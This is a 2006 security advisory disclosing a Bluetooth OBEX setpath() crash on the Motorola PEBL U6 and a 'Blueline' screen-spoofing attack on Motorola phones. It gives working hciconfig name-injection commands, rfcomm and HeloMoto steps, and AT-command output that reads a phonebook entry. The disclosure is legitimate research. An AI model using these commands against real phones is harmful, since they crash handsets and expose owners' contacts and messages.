DMA[2006-0321a] - 'Motorola P2K Platform setpath() overflow and Blueline attack'
DMA[2006-0321a] - 'Motorola P2K Platform setpath() overflow and Blueline attack'
Author: Kevin Finisterre
Vendor: http://www.motorola.com
Product: 'Motorola PEBL U6, Motorola V600, other Motorola P2k based phones?'
References:
http://www.digitalmunition.com/DMA[2006-0321a].txt
http://www.motorola.com/motoinfo/product/details/0,,11,00.html
http://www.motorola.com/motoinfo/product/details/0,,87,00.html
http://www.digitalmunition.com/P1010048.JPG
Description:
Motorola is known around the world for innovation and leadership in wireless
and broadband
communications. Inspired by a vision of Seamless Mobility, the people of
Motorola are
committed to helping you get and stay connected simply and seamlessly.
Recently I had the pleasure of experiencing 2 of Morotola's phones, the PEBL U6
and the V600.
Radiating mystery and intrigue, the understated elegance of the Motorola PEBL
elevates mobile
design to a new level. And with its stunning looks and killer functionality,
the Motorola V600
cellular phone is a sleek statement of sophistication and intelligence for
mobile trendsetters
who demand the very best.
Each of the phones has exhibited interesting behavior with regard to Bluetooth
functionality.
The PEBL handset for example is subject to a post-authentication Buffer
Overflow via OBEX
File Transfer. Both phones are also vulnerable to a pre-authentication user
interface spoofing
issue. This document seeks to inform Motorola users about the issues at hand
and to describe
both issues in detail.
Based on internal markings, my Motorola PEBL is a model U6 (G8/9/18/19) S/W
08.83.76R. It was
purchased from a T-Mobile store in Columbus, Ohio (USA) on 2/10/2006.
The following file transfer service is available on channel 9 of my PEBL:
Service Name: OBEX File Transfer
Service Description: OBEX File Transfer
Service Provider: T-Mobile
Service RecHandle: 0x10009
Service Class ID List:
"OBEX File Transfer" (0x1106)
Protocol Descriptor List:
"L2CAP" (0x0100)
"RFCOMM" (0x0003)
Channel: 9
"OBEX" (0x0008)
Language Base Attr List:
code_ISO639: 0x656e
encoding: 0x6a
base_offset: 0x100
code_ISO639: 0x6672
encoding: 0x6a
base_offset: 0xc800
code_ISO639: 0x6573
encoding: 0x6a
base_offset: 0xc803
code_ISO639: 0x7074
encoding: 0x6a
base_offset: 0xc806
Profile Descriptor List:
"OBEX File Transfer" (0x1106)
Version: 0x0100
After pairing with the phone an attacker can send a long OBEX setpath() and
completely crash
the handset. The user interface will go completely unresponsive and any active
calls will be
dropped. After about 15 to 20 seconds the device completely turns off. The user
must push the
power button in order to use the device further. Code execution may be possible
however the
debugging capabilities on the PEBL are minimal. Access to Motorola debugging
tools may provide
further information about the possibility of code execution.
A proof of concept java .class was created to trigger the issue. The PoC
requires the Avetana
Bluetooth Stack demo avetanaBluetooth.jar and a java compiler. Please note that
it is also
necessary to pair with the device prior to connecting to the FTP service.
k-fs-ibook:~/Desktop kf$ javac PEBL-p00py.java
k-fs-ibook:~/Desktop kf$ java PEBL-p00py
avetanaBluetooth version 1.3.4
Local name K F?s iBook
Local address 11-22-33-44-55-66
Device class 102104
License valid until 24.02.06
Possibilities array 3F
License-ID 2217
connected
java.io.IOException: Connection closed (The phone is now dead at this point)
The next issue involves a bit of social engineering complements of the Motorola
Bluetooth
user interface. The PEBL (and the V600?) offers 2 voice gateways, one requires
pairing
and one does not. The "Headset Audio Gateway" on channel 3 does not require
pairing before
a connection can be made. Because of this an attacker main gain extra access to
the phone
if a user can be convinced to press "Grant".
Keep in mind that if the attackers phone has not yet been added to the "Device
History" list
it will be unable to connect to channel 3. A simple HeloMoto attack on port 8
will help
eliminate this requirement however.
# ./helomoto plant 00:15:A8:74:87:3E 8
You can find more information about Helo moto in the following locations.
http://trifinite.org/Downloads/helomoto.tgz
http://trifinite.org/trifinite_stuff_helomoto.html
The following profile ultimately allows the UI spoofing to occur.
Service Name: Voice Gateway
Service Description: Headset Audio Gateway
Service Provider: T-Mobile
Service RecHandle: 0x10003
Service Class ID List:
"Headset Audio Gateway" (0x1112)
"Generic Audio" (0x1203)
Protocol Descriptor List:
"L2CAP" (0x0100)
"RFCOMM" (0x0003)
Channel: 3
Language Base Attr List:
code_ISO639: 0x656e
encoding: 0x6a
base_offset: 0x100
code_ISO639: 0x6672
encoding: 0x6a
base_offset: 0xc800
code_ISO639: 0x6573
encoding: 0x6a
base_offset: 0xc803
code_ISO639: 0x7074
encoding: 0x6a
base_offset: 0xc806
Profile Descriptor List:
"Headset" (0x1108)
Version: 0x0100
Please note that this profile does require that the user accept an inbound
connection. The
following message pops up under normal circumstances when channel 3 is
contacted:
Remote Bluetooth Device Name
Requests Voice Gateway?
(Grant or Deny)
Although the user if prompted for the connection I have found that the user
interface will
respond interestingly to the 0x0d character. With a bit of creativity we can
perhaps trick
a user into accepting our connection request.
# hciconfig hci0 name `echo -e "A\x0dB\x0dC\x0dD\x0dE\x0dF\x0dG"`
# rfcomm connect 0 00:15:A8:74:87:3E 3
The above command will result in the following message being displayed on
screen:
A
B
C
D
E
F ...
(Grant or Deny)
Six new line characters seem to be enough to push the factory default message
off of the
screen of the handset. We can obviously be more creative...
# hciconfig hci0 name `perl -e 'print
"Press\x0dgrant\x0dto\x0ddisable\x0dmute\x0d\x0d"'`
# rfcomm connect 0 00:15:A8:74:87:3E 3 (wait for user to press grant)
Connected /dev/rfcomm0 to 00:15:A8:74:87:3E on channel 3
Press CTRL-C for hangup
On the Motorola handset we get
Press
grant
to
disable
mute
(Grant or Deny)
An actual screen shot from the phone during an attack can be found here:
http://www.digitalmunition.com/P1010048.JPG
Once connected to the Audio Gateway the attacker will have AT level access to
the phone.
Access to personal information such as Phone book entries and SMS data are up
for grabs
at this point.
Connected /dev/rfcomm0 to 00:15:A8:74:87:3E on channel 3
Press CTRL-C for hangup
ATE1
OK
AT+GMI
+GMI: "Motorola CE, Copyright 2000"
OK
AT+GMM
+GMM: "GSM900","GSM1800","GSM1900","GSM850","MODEL=PEBL U6"
OK
AT+GMR
+GMR: "R478_G_08.83.76R"
OK
AT+CPMS=MT
+CPMS: 14,254
OK
AT+CPBR=1
+CPBR: 1,"13133742069",129,"Stroke - milw0rm"
Since 0x0d is commonly used as a newline character I am going to label this a
"Blueline"
attack (I am a hockey fan what can I say).
The Motorola V600 also appears to be vulnerable to this attack. Like the PEBL
the attacker
must first be in the phones "Device History" or the phone must first be
exploited via the
HeloMoto attack. RAZRv3 also exhibited similar UI behavior however other
factors did not
make it immediately viable for an attack scenario. (Thanks Marcel and Adam). As
a final
side note it is worth mentioning that Tonu Samuel (tonu@xxxxxx) has also
confirmed similar
issues on the Motorola E398 handset.
Work Around:
The following statements are paraphrased from a collection of email
communications between
myself and Motorola.
Motorola is committed to providing the best consumer experience possible and
software
performance is key to enabling that. At this point the fixes for both issues
have been
incorporated into software for future phone production. While it is possible
to update
the software on Motorola phones, they do not currently have a mechanism to make
the new
software available to consumers with existing phones.
Both issues have been identified via Motorola internal testing and Motorola has
developed
fixes for these issue which they are incorporating into their phone software
moving forward.
Motorola evaluates the need for providing patches to existing phones on a case
by case
basis, by working with their partners in the marketplace. If there is a clear
need for
updates to existing phones, they will take appropriate action.
Consumer satisfaction is the top priority for Motorola so they do what is
necessary to
ensure that they deliver a quality experience. To that end, Motorola has been
focusing on
prevention/ education, not just providing a cure. Motorola is really interested
in helping
consumers learn how to use Bluetooth technology safely... helping educate them
on the
simple things they can do (like not making their phones discoverable in public)
to make
their Bluetooth use safer.
Special thanks to:
Alan Buddendeck, Natanya Ray and Greg Muchnik of Motorola for helping with
these issues.
The Trifinite.group of course!
It is the authors view that other phones may be vulnerable to the "Blueline"
attack, a
comprehensive list of vulnerable phones and manufacturers will be published
once it has
been identified.